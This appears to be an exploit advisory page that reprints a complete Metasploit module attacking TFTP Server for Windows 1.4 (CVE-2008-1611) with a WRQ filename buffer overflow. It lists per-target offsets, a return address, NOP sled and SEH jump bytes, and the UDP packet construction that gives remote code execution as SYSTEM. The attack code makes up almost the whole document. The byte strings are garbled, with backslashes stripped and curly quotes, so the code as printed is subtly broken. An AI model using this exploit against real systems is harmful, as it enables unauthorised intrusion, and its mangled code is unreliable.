TFTP Server for Windows ST WRQ Buffer Overflow Exploit

Summary

TFTP Server for Windows 1.4 ST WRQ suffers from buffer overflow vulnerability.

Credit:

Details

Vulnerable Systems:
 * TFTP Server for Windows 1.4

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking
include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘TFTP Server for Windows 1.4 ST WRQ Buffer Overflow’,
‘Description’ => %q{
This module exploits a vulnerability found in TFTP Server 1.4 ST. The flaw
is due to the way TFTP handles the filename parameter extracted from a WRQ request.
The server will append the user-supplied filename to TFTP server binary’s path
without any bounds checking, and then attempt to open this with a fopen(). Since
this isn’t a valid file path, fopen() returns null, which allows the corrupted
data to be used in a strcmp() function, causing an access violation.

Since the offset is sensitive to how the TFTP server is launched, you must know
in advance if your victim machine launched the TFTP as a ‘Service’ or ‘Standalone’
, and then manually select your target accordingly. A successful attempt will lead
to remote code execution under the context of SYSTEM if run as a service, or
the user if run as a standalone. A failed attempt will result a denial-of-service.
},
‘Author’ =>
[
‘Mati Aharoni’, #Initial discovery, PoC
‘Datacut’ #Metasploit
],
‘References’ =>
[
[ ‘CVE’, ‘2008-1611’ ],
[ ‘OSVDB’, ‘43785’ ],
[ ‘BID’, ‘18345’ ],
[ ‘EDB’, ‘5314’ ]
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ =>’seh’,
},
‘Payload’ =>
{
‘Space’ => 600,
‘BadChars’ => ‘x00x2f’,
‘StackAdjustment’ => -3500
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
# datacut tested ok 19/04/12 on xp sp2 sp3, win 7 sp0 sp1.
# possible may work for other service packs and or vista
# Rets = P/P/R from tftpserversp.exe
[ ‘Windows XP SP2/SP3 EN Service Mode’, { ‘Ret’ => 0x416801 , ‘Offset’ => 1203} ],
[ ‘Windows XP SP2/SP3 EN Standalone Mode’, { ‘Ret’ => 0x416801 , ‘Offset’ => 1487} ],
[ ‘Windows 7 SP0/SP1 EN x64 Service Mode’, { ‘Ret’ => 0x416801 , ‘Offset’ => 1217} ],
[ ‘Windows 7 SP0/SP1 EN x64 Standalone Mode’, { ‘Ret’ => 0x416801 , ‘Offset’ => 1501} ],
[ ‘Windows 7 SP0/SP1 EN x86 Service Mode’, { ‘Ret’ => 0x416801 , ‘Offset’ => 1223} ],
[ ‘Windows 7 SP0/SP1 EN x86 Standalone Mode’, { ‘Ret’ => 0x416801 , ‘Offset’ => 1507} ]
],
‘Privileged’ => false,
‘DisclosureDate’=> ‘Mar 26 2008’,
‘DefaultTarget’ => 4)) #TFTP is installed as a service

register_options(
[
Opt::RPORT(69)
], self.class)
end

def exploit
connect_udp

nops = make_nops(50)
lead = rand_text_alphanumeric(target[‘Offset’] – payload.encoded.length – nops.length)
near = ‘xe9x80xfdxffxff’ #jump back 640 bytes to the nop sled
nseh = ‘xebxf9’ + make_nops(2) #jump back 7 bytes to the long jump

evil = lead + nops + payload.encoded + near + nseh + [target.ret].pack(‘V’)
mode = ‘netascii’

#Send the WRQ packet (header ‘x00x02’)
sploit = ‘x00x02’ + evil + ‘’ + mode +’’

udp_sock.put(sploit)

handler
disconnect_udp
end

end

CVE Information:
2008-1611

Disclosure Timeline:
Published: 2012-04-20

Categories: Exploits